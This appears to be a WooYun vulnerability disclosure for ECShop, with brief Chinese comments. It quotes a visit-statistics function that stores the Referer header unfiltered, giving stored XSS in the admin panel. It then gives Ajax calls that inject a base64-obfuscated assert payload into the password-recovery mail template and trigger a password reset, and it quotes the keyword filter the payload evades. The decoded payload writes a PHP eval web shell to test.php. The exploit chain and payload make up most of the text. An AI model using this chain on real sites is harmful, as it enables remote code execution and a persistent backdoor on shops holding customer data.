WooYun.org

function visit_stats()
{
    if (isset($GLOBALS['_CFG']['visit_stats']) && $GLOBALS['_CFG']['visit_stats'] == 'off')
    {
        return;
    }
    $time = gmtime();
    /* 检查客户端是否存在访问统计的cookie */
    $visit_times = (!empty($_COOKIE['ECS']['visit_times'])) ? intval($_COOKIE['ECS']['visit_times']) + 1 : 1;
    setcookie('ECS[visit_times]', $visit_times, $time + 86400 * 365, '/');
    $browser  = get_user_browser();
    $os       = get_os();
    $ip       = real_ip();
    $area     = ecs_geoip($ip);
    /* 语言 */
    if (!empty($_SERVER['HTTP_ACCEPT_LANGUAGE']))
    {
        $pos  = strpos($_SERVER['HTTP_ACCEPT_LANGUAGE'], ';');
        $lang = addslashes(($pos !== false) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, $pos) : $_SERVER['HTTP_ACCEPT_LANGUAGE']);
    }
    else
    {
        $lang = '';
    }
    /* 来源 */
    if (!empty($_SERVER['HTTP_REFERER']) && strlen($_SERVER['HTTP_REFERER']) > 9)
    {
        $pos = strpos($_SERVER['HTTP_REFERER'], '/', 9);//
        if ($pos !== false)
        {
            $domain = substr($_SERVER['HTTP_REFERER'], 0, $pos);
            $path   = substr($_SERVER['HTTP_REFERER'], $pos);
            /* 来源关键字 */
            if (!empty($domain) && !empty($path))
            {
                save_searchengine_keyword($domain, $path);
            }
        }
        else
        {
            $domain = $path = '';
        }
    }
    else
    {
        $domain = $path = '';
    }
    $sql = 'INSERT INTO ' . $GLOBALS['ecs']->table('stats') . ' ( ' .
                'ip_address, visit_times, browser, system, language, area, ' .
                'referer_domain, referer_path, access_url, access_time' .
            ') VALUES (' .
                "'$ip', '$visit_times', '$browser', '$os', '$lang', '$area', ".
                "'" . addslashes($domain) ."', '" . addslashes($path) ."', '" . addslashes(PHP_SELF) ."', '" . $time . "')";
    $GLOBALS['db']->query($sql);//$domain 从$_SERVER取出,只是简单的addslashes一下,没有过滤html标签
}

Ajax.call('mail_template.php?is_ajax=1&act=save_template', "subject=%C3%DC%C2%EB%D5%D2%BB%D8&mail_type=0&tpl=1&content=%7B%24u%27%5D%3Bassert%28base64_decode%28%27ZmlsZV9wdXRfY29udGVudHMoJ3Rlc3QucGhwJyxiYXNlNjRfZGVjb2RlKCdQRDl3YUhBZ1FHVjJZV3dvSkY5UVQxTlVXeWRoSjEwcE96OCsnKSk7%3D%3D%27%29%29%3B+%2F%2F_var%5B%27%7D%3C%3F" , a, "POST", "JSON");/*写php代码到取回密码邮件模板,会员执行取回密码时执行php代码*/
Ajax.call('../user.php?act=get_password','act=send_pwd_email&user_name=vip&email=vip@ecshop.com', a , "POST", "JSON");/*前台取回密码.这里的vip和vip@ecshop.com为前台会员帐号和邮箱,我懒得注册了就用这个测试*/
function a(){
alert('');
}

function fetch_str($source)
    {
        if (!defined('ECS_ADMIN'))
        {
            $source = $this->smarty_prefilter_preCompile($source);
        }
        $source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);//过滤了部分php关键词
         
        if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))
        {  
            $sp_match[1] = array_unique($sp_match[1]);
            for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
            {
                $source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
            }
             for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
            {
                 $source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source);
            }
         }
        
         return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
    }

{$u'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3Rlc3QucGhwJyxiYXNlNjRfZGVjb2RlKCdQRDl3YUhBZ1FHVjJZV3dvSkY5UVQxTlVXeWRoSjEwcE96OCsnKSk7==')); //_var['}<?